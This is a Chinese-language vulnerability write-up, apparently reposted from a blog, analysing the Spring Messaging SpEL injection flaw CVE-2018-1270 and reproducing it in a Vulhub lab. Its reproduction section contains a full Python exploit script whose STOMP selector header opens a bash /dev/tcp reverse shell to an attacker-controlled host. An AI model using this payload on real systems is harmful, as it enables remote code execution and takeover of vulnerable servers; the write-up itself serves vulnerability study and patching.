当前位置: 首页 > news >正文

CVE-2018-1270源码分析与漏洞复现(spring-messaging 表达式注入)

漏洞概述

CVE-2018-1270 是 Spring 框架中的一个高危远程代码执行(RCE)漏洞,影响版本为 Spring Framework 5.0–5.0.44.3–4.3.14。攻击者通过构造包含恶意 SpEL(Spring Expression Language)表达式的 STOMP(Simple Text-Orientated Messaging Protocol)消息,利用 Spring Messaging 模块的路径解析缺陷,触发任意代码执行。该漏洞的 核心问题在于 SpEL 表达式解析时使用了高权限的上下文环境。


技术细节分析

1. 漏洞成因
  • SpEL 表达式注入
    Spring Messaging 在处理 STOMP 消息的 selector 头部时,直接将用户输入的值作为 SpEL 表达式解析。攻击者可通过构造形如 T(java.lang.Runtime).exec("calc") 的恶意表达式注入到 selector 字段,触发远程代码执行。
  • 高危上下文配置
    漏洞版本的 DefaultSubscriptionRegistry 类使用 StandardEvaluationContext 解析表达式,该上下文允许完全访问 Java 类和方法(包括反射操作)。修复后改用 SimpleEvaluationContext,仅支持基础数据绑定,限制危险操作。
2. 漏洞触发流程
  1. 建立 WebSocket 连接:客户端通过 SockJS 与服务器建立 WebSocket 连接,并在 CONNECT 帧的 headers 中注入恶意 selector 字段。
  2. 订阅消息:发送 SUBSCRIBE 帧时,服务端将 selector 值解析为 SpEL 表达式并存储到会话中。
  3. 触发执行:当客户端发送 SEND 帧时,服务端调用 filterSubscriptions 方法对消息进行过滤,执行存储的表达式,触发代码执行。

2.源码分析
漏洞入口点:addSubscriptionInternal 方法

代码定位
org.springframework.messaging.simp.broker.DefaultSubscriptionRegistry#addSubscriptionInternal

源码:

protected void addSubscriptionInternal(String sessionId, String subsId, String destination, Message<?> message) {Expression expression = null;MessageHeaders headers = message.getHeaders();String selector = SimpMessageHeaderAccessor.getFirstNativeHeader(getSelectorHeaderName(), (Map)headers);if (selector != null) {try {expression = this.expressionParser.parseExpression(selector);//解析表达式this.selectorHeaderInUse = true;if (this.logger.isTraceEnabled()) {this.logger.trace("Subscription selector: [" + selector + "]");}}catch (Throwable ex) {if (this.logger.isDebugEnabled()) {this.logger.debug("Failed to parse selector: " + selector, ex);}} }this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);//将表达式存储到会话中。this.destinationCache.updateAfterNewSubscription(destination, sessionId, subsId);}

触发条件
当客户端通过 STOMP 协议向服务端发送 SUBSCRIBE 帧时,服务端处理订阅请求的逻辑会调用此方法。

关键逻辑

  1. 从客户端请求头中提取 selector 字段的值。
  2. selector 的值作为 SpEL 表达式进行解析:
    expression = this.expressionParser.parseExpression(selector);
    
  3. 将解析后的表达式与订阅信息(会话 ID、订阅 ID、目标地址)一起存储到内存中:
    this.subscriptionRegistry.addSubscription(sessionId, subsId, destination, expression);
    

漏洞入口特性

  • 用户可控输入selector 字段完全由攻击者构造(如 T(java.lang.Runtime).exec("calc"))。
  • 高危上下文:使用 StandardEvaluationContext(默认支持反射、类加载等危险操作)。
  • 无过滤机制:未对 selector 进行任何合法性校验或关键字过滤。

表达式执行点:filterSubscriptions 方法

代码定位
org.springframework.messaging.simp.broker.DefaultSubscriptionRegistry#filterSubscriptions

源码:

private MultiValueMap<String, String> filterSubscriptions(MultiValueMap<String, String> allMatches, Message<?> message) {if (!this.selectorHeaderInUse) {return allMatches;}EvaluationContext context = null;LinkedMultiValueMap linkedMultiValueMap = new LinkedMultiValueMap(allMatches.size());for (String sessionId : allMatches.keySet()) {for (String subId : allMatches.get(sessionId)) {StandardEvaluationContext standardEvaluationContext; SessionSubscriptionInfo info = this.subscriptionRegistry.getSubscriptions(sessionId);if (info == null) {continue;}Subscription sub = info.getSubscription(subId);if (sub == null) {continue;}Expression expression = sub.getSelectorExpression();//获取表达式if (expression == null) {linkedMultiValueMap.add(sessionId, subId);continue;} if (context == null) {standardEvaluationContext = new StandardEvaluationContext(message);//执行表达式standardEvaluationContext.getPropertyAccessors().add(new SimpMessageHeaderPropertyAccessor());} try {if (Boolean.TRUE.equals(expression.getValue((EvaluationContext)standardEvaluationContext, Boolean.class))) {linkedMultiValueMap.add(sessionId, subId);}}catch (SpelEvaluationException ex) {if (this.logger.isDebugEnabled()) {this.logger.debug("Failed to evaluate selector: " + ex.getMessage());}}catch (Throwable ex) {this.logger.debug("Failed to evaluate selector", ex);} } } return (MultiValueMap<String, String>)linkedMultiValueMap;}

触发条件
当服务端收到 SEND 帧(即向订阅目标地址发送消息)时,服务端会遍历所有订阅该地址的客户端,并根据其订阅时指定的 selector 表达式进行消息过滤。

关键逻辑

  1. 从订阅信息中获取存储的 SpEL 表达式。
  2. 使用 StandardEvaluationContext 执行表达式:
    standardEvaluationContext = new StandardEvaluationContext(message);
    

漏洞触发特性

  • 表达式动态执行:存储的恶意表达式在此处被实际执行。
  • 上下文绑定消息对象EvaluationContext 绑定了当前消息对象(message),为攻击者提供更多利用可能。

方法关系与漏洞触发流程

1. 依赖关系

  • 时序依赖
    addSubscriptionInternal 是前置操作(订阅阶段),filterSubscriptions 是后续操作。
    漏洞利用必须通过 先订阅后发送消息 的流程完成。

  • 数据依赖
    filterSubscriptions 中执行的表达式来源于 addSubscriptionInternal 阶段存储的 expression 对象。

2. 攻击链时序

客户端发送 SUBSCRIBE 帧(携带恶意 selector)→ addSubscriptionInternal 解析并存储表达式→ 服务端收到 SEND 帧→ filterSubscriptions 执行存储的表达式→ 触发 RCE

漏洞复现

环境搭建

使用 Vulhub 提供的 Docker 环境:

cd vulhub/spring/CVE-2018-1270
docker-compose up -d

在这里插入图片描述
访问 http://target:8080 启动存在漏洞的 Spring STOMP 示例。
在这里插入图片描述

攻击步骤(反弹shell)
1.kali攻击机开启监听

在这里插入图片描述

2.使用python脚本发送恶意请求
import requests
import random
import string
import time
import threading
import logging
import sys
import jsonlogging.basicConfig(stream=sys.stdout, level=logging.INFO)def random_str(length):letters = string.ascii_lowercase + string.digitsreturn ''.join(random.choice(letters) for c in range(length))class SockJS(threading.Thread):def __init__(self, url, *args, **kwargs):super().__init__(*args, **kwargs)self.base = f'{url}/{random.randint(0, 1000)}/{random_str(8)}'self.daemon = Trueself.session = requests.session()self.session.headers = {'Referer': url,'User-Agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)'}self.t = int(time.time() * 1000)def run(self):url = f'{self.base}/htmlfile?c=_jp.vulhub'response = self.session.get(url, stream=True)for line in response.iter_lines():time.sleep(0.5)def send(self, command, headers, body=''):data = [command.upper(), '\n']data.append('\n'.join([f'{k}:{v}' for k, v in headers.items()]))data.append('\n\n')data.append(body)data.append('\x00')data = json.dumps([''.join(data)])response = self.session.post(f'{self.base}/xhr_send?t={self.t}', data=data)if response.status_code != 204:logging.info(f"send '{command}' data error.")else:logging.info(f"send '{command}' data success.")def __del__(self):self.session.close()sockjs = SockJS('http://靶场ip:8080/gs-guide-websocket')
sockjs.start()
time.sleep(1)sockjs.send('connect', {'accept-version': '1.1,1.0','heart-beat': '10000,10000'
})
sockjs.send('subscribe', {'selector': 'T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/vps的ip/vps端口;cat <&5 | while read line; do $line 2>&5 >&5; done"})','id': 'sub-0','destination': '/topic/greetings'
})data = json.dumps({'name': 'vulhub'})
sockjs.send('send', {'content-length': len(data),'destination': '/app/hello'
}, data)

靶场ip和监听地址和端口改为自己的

在这里插入图片描述

3.执行脚本并验证

在这里插入图片描述

  • 反弹shell成功
    在这里插入图片描述

修复建议

  1. 升级版本
    • Spring Framework 5.0.x 用户升级至 5.0.5
    • Spring Framework 4.3.x 用户升级至 4.3.15 或更高版本。
  2. 输入过滤
    selector 头部进行正则校验,禁止包含 T(). 等 SpEL 关键字。
  3. 禁用高风险功能
    若非必要,关闭基于 STOMP 的消息路由功能。

总结

CVE-2018-1270 的根源在于 Spring Messaging 对用户输入的过度信任与高危上下文的结合。其修复方案通过限制表达式执行权限,有效降低了攻击面。


参考链接

  1. Spring 官方公告(CVE-2018-1270)
  2. 360-CERT 漏洞分析报告
  3. Vulhub 复现环境
  4. 腾讯云技术分析
  5. CSDN 漏洞复现详解
  6. CVE-2018-1270-Spring Messaging RCE漏洞复现

相关文章:

  • f-string 高效的字符串格式化
  • 如何提高独立服务器的安全性?
  • Mysql的binlog日志
  • 实时监控服务器CPU、内存和磁盘使用率
  • [Java实战]Spring Boot整合Prometheus:应用性能监控与可视化(三十二)
  • IDEA推送到gitlab,jenkins识别,然后自动发布到需要的主机(流水线)
  • 【iOS】分类、扩展、关联对象
  • AI数字人一体机和智慧屏方案:开启智能交互新纪元
  • 在实际网络部署中,静态路由的优先级通常高于RIP
  • Taro Error: chunk common [mini-css-extract-plugin]
  • Taro 安全区域
  • PCB 横截面几何形状
  • 界面控件 Kendo UI 在各行业的应用实践:如何解决业务痛点,提升系统效能
  • Linux电源管理——PSCI初始化流程和多核启动流程
  • digitalworld.local: VENGEANCE靶场
  • linux国产机安装GCC
  • SpringBoot-SpringBoot源码解读
  • 游戏引擎学习第300天:从排序键更改为排序规则
  • C++初阶-vector的模拟实现3
  • 【Redis】AOF日志的三种写回机制
  • 网站结构是什么 怎么做/360手机优化大师安卓版
  • wordpress内容管理/厦门谷歌seo公司有哪些
  • 如何建设手机端网站/广州seo快速排名
  • 奉节做网站/最吸引人的营销广告文案
  • 简单的电影网站模板/百度浏览器官方下载
  • 网站开发者的常用工具/建站优化公司